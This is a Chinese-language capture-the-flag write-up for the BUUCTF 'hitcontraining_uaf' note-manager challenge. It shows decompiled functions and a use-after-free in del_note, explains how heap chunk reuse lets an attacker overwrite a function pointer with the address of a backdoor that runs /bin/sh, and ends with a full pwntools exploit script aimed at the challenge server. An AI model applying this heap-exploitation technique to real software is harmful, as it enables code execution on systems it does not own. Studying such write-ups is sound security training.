hitcontraining uaf

前提

查看文件保护

[*] '/root/pwn/buuctf/hitcontraining_uaf/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

静态分析

主函数如下：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [esp+0h] [ebp-Ch]
  int *v5; // [esp+4h] [ebp-8h]

  v5 = &argc;
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v3 = atoi(&buf);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

add_note函数如下：

void *add_note()
{
  void *result; // eax
  _DWORD *v1; // esi
  char buf; // [esp+0h] [ebp-18h]
  size_t size; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]

  result = (void *)count;
  if ( count > 5 )
    return (void *)puts("Full");
  for ( i = 0; i <= 4; ++i )
  {
    result = notelist[i];
    if ( !result )
    {
      notelist[i] = malloc(8u);
      if ( !notelist[i] )
      {
        puts("Alloca Error");
        exit(-1);
      }
      *(_DWORD *)notelist[i] = print_note_content;
      printf("Note size :");
      read(0, &buf, 8u);
      size = atoi(&buf);
      v1 = notelist[i];
      v1[1] = malloc(size);
      if ( !*((_DWORD *)notelist[i] + 1) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, *((void **)notelist[i] + 1), size);
      puts("Success !");
      return (void *)(count++ + 1);
    }
  }
  return result;
}

print_note函数如下：

void *print_note()
{
  void *result; // eax
  char buf; // [esp+8h] [ebp-10h]
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, &buf, 4u);
  v2 = atoi(&buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = notelist[v2];
  if ( result )
    result = (void *)(*(int (__cdecl **)(void *))notelist[v2])(notelist[v2]);
  return result;
}

del_note函数如下：

int del_note()
{
  int result; // eax
  char buf; // [esp+8h] [ebp-10h]
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, &buf, 4u);
  v2 = atoi(&buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = (int)notelist[v2];
  if ( result )
  {
    free(*((void **)notelist[v2] + 1));
    free(notelist[v2]);
    result = puts("Success");
  }
  return result;
}

magic函数如下：

int magic()
{
  return system("/bin/sh");
}

思路分析

1. 目前信息：

   • del_note函数释放内存时没有清空指针，存在uaf
   • 存在后门函数magic
   • Partial RELRO
   • No canary found
   • NX enabled
   • No PIE

2. 思路：

   • 一次add_note函数的执行将申请2个堆块，第一个堆块大小为8字节且为堆块的控制部分，分别存放print_note函数地址与第二个自定义大小的堆块地址，这里选择先申请2个大堆块，分别释放后，大小不同的2个bins分别串起来对应的数据，这时申请自定义大小刚好为8字节的堆块，将会把2个8字节堆块都申请回来使用，根据后进先出的原理，原来第二个堆块的控制堆块成为第三个堆块的控制堆块，第一个堆块的控制堆块则成为第三个堆块的数据堆块，这时更改其中的函数指针为backdoor地址，对第一个块执行print_note即可获得shell

exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/hitcontraining_uaf/hacknote'
io = remote('node4.buuoj.cn', 28145)
# io = process(pwnfile)

def Create(io, size, content):
    io.sendlineafter(":", '1')
    io.sendlineafter(":", str(size))
    io.sendlineafter(":", content)

def Delete(io, index):
    io.sendlineafter(":", '2')
    io.sendlineafter(":", str(index))

def Print(io, index):
    io.sendlineafter(":", '3')
    io.sendlineafter(":", str(index))
    
elf = ELF(pwnfile)
back_door = elf.symbols['magic']
Create(io, 0x10, 'aaaa')
Create(io, 0x10, 'bbbb')
Delete(io, 0)
Delete(io, 1)
Create(io, 0x8, flat([back_door]))
Print(io, 0)
io.interactive()